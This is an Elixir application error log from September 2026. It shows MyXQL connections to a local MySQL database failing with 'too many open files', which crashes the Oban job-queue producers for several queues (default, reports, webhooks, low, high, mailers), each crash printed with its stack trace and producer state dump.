State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:12:57.242874Z], limit: 5, uuid: "be075fe3-358e-47e5-be5c-d08da5b9302f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:57.242881Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.241280>, refresh_timer: #Reference<0.2525715032.1121189889.111224>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:10.226000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:11.469000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:14.289000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:13:03.242344Z], limit: 10, uuid: "0b5f7f25-1c22-4bd2-8a43-efdb0af208d7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:03.242350Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.260379>, refresh_timer: #Reference<0.2525715032.1068236804.260369>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:15.688000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:15.755000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:16.592000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:17.767000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:19.359000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2028ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:13:09.243168Z], limit: 3, uuid: "1f9fe0c3-4e7f-4515-b04d-1006a984e869", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:09.243174Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.260598>, refresh_timer: #Reference<0.2525715032.1077411843.241415>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:21.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:13:09.244543Z], limit: 5, uuid: "514e4a02-9866-4f67-8047-f56a432abadf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:09.244553Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.10530>, refresh_timer: #Reference<0.2525715032.1077411843.241422>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:21.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:13:09.243783Z], limit: 5, uuid: "0101b17d-c47f-4ea9-8372-e2607b9e2bbb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:09.243789Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.10531>, refresh_timer: #Reference<0.2525715032.1077411843.241410>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:13:09.243221Z], limit: 50, uuid: "508e1b95-d12e-4070-b739-035def87289a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:09.243225Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.260597>, refresh_timer: #Reference<0.2525715032.1099431938.10518>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:21.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2023ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:13:09.241002Z], limit: 20, uuid: "e8a57cb1-6b41-436f-9624-e52c3587664d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:09.241014Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.10529>, refresh_timer: #Reference<0.2525715032.1099431938.10517>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:21.904000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:26.271000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:13:15.237534Z], limit: 10, uuid: "883ffdb3-0e26-4937-938a-f16710a8714a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:15.237542Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.260728>, refresh_timer: #Reference<0.2525715032.1077411843.241480>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:29.578000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:32.669000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:32.800000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:33.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:13:21.243105Z], limit: 3, uuid: "f54d611a-f8b7-4597-948c-71a43762df33", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:21.243112Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.10776>, refresh_timer: #Reference<0.2525715032.1077411843.241571>, dispatch_cooldown: 5, running: %{}}
